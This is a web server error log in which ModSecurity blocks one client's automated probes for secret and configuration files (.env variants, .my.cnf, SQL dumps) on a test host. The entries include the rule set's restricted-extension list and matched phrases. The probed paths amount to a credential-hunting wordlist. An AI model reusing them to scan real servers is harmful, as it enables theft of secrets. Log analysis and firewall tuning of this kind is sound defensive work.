[Sun Mar 22 01:06:24.180845 2026] [:error] [pid 2857384] [client 185.177.72.38:31336] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;ab8ygAYP1jEXrqk5bL975wAAAAE&quot;]
[Sun Mar 22 01:06:24.180997 2026] [:error] [pid 2857384] [client 185.177.72.38:31336] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;ab8ygAYP1jEXrqk5bL975wAAAAE&quot;]
[Sun Mar 22 01:06:24.247669 2026] [:error] [pid 2857384] [client 185.177.72.38:31336] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mail/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;ab8ygAYP1jEXrqk5bL976gAAAAE&quot;]
[Sun Mar 22 01:06:24.247897 2026] [:error] [pid 2857384] [client 185.177.72.38:31336] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;ab8ygAYP1jEXrqk5bL976gAAAAE&quot;]
[Sun Mar 22 01:06:24.248038 2026] [:error] [pid 2857384] [client 185.177.72.38:31336] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;ab8ygAYP1jEXrqk5bL976gAAAAE&quot;]
[Sun Mar 22 01:06:24.270036 2026] [:error] [pid 2857384] [client 185.177.72.38:31336] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;ab8ygAYP1jEXrqk5bL976wAAAAE&quot;]
[Sun Mar 22 01:06:24.270236 2026] [:error] [pid 2857384] [client 185.177.72.38:31336] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;ab8ygAYP1jEXrqk5bL976wAAAAE&quot;]
[Sun Mar 22 01:06:24.270378 2026] [:error] [pid 2857384] [client 185.177.72.38:31336] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;ab8ygAYP1jEXrqk5bL976wAAAAE&quot;]
[Sun Mar 22 01:06:24.481881 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;ab8ygMIpAvowSesNnWL6pgAAAAA&quot;]
[Sun Mar 22 01:06:24.482080 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;ab8ygMIpAvowSesNnWL6pgAAAAA&quot;]
[Sun Mar 22 01:06:24.482199 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;ab8ygMIpAvowSesNnWL6pgAAAAA&quot;]
[Sun Mar 22 01:06:24.935187 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;ab8ygMIpAvowSesNnWL6ugAAAAA&quot;]
[Sun Mar 22 01:06:24.935559 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;ab8ygMIpAvowSesNnWL6ugAAAAA&quot;]
[Sun Mar 22 01:06:24.935696 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;ab8ygMIpAvowSesNnWL6ugAAAAA&quot;]
[Sun Mar 22 01:06:24.957646 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.my.cnf&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .my.cnf found within REQUEST_FILENAME: /mysql/.my.cnf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql/.my.cnf&quot;] [unique_id &quot;ab8ygMIpAvowSesNnWL6uwAAAAA&quot;]
[Sun Mar 22 01:06:24.957837 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql/.my.cnf&quot;] [unique_id &quot;ab8ygMIpAvowSesNnWL6uwAAAAA&quot;]
[Sun Mar 22 01:06:24.957962 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql/.my.cnf&quot;] [unique_id &quot;ab8ygMIpAvowSesNnWL6uwAAAAA&quot;]
[Sun Mar 22 01:06:24.979649 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysqldump.sql&quot;] [unique_id &quot;ab8ygMIpAvowSesNnWL6vAAAAAA&quot;]
[Sun Mar 22 01:06:24.980023 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysqldump.sql&quot;] [unique_id &quot;ab8ygMIpAvowSesNnWL6vAAAAAA&quot;]
[Sun Mar 22 01:06:24.980158 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysqldump.sql&quot;] [unique_id &quot;ab8ygMIpAvowSesNnWL6vAAAAAA&quot;]
[Sun Mar 22 01:06:25.024708 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6vgAAAAA&quot;]
[Sun Mar 22 01:06:25.024900 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6vgAAAAA&quot;]
[Sun Mar 22 01:06:25.025027 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6vgAAAAA&quot;]
[Sun Mar 22 01:06:25.047010 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6vwAAAAA&quot;]
[Sun Mar 22 01:06:25.047200 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6vwAAAAA&quot;]
[Sun Mar 22 01:06:25.047337 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6vwAAAAA&quot;]
[Sun Mar 22 01:06:25.069443 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6wAAAAAA&quot;]
[Sun Mar 22 01:06:25.069649 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6wAAAAAA&quot;]
[Sun Mar 22 01:06:25.069789 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6wAAAAAA&quot;]
[Sun Mar 22 01:06:25.091885 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6wQAAAAA&quot;]
[Sun Mar 22 01:06:25.092102 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6wQAAAAA&quot;]
[Sun Mar 22 01:06:25.092241 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;ab8ygcIpAvowSesNnWL6wQAAAAA&quot;]
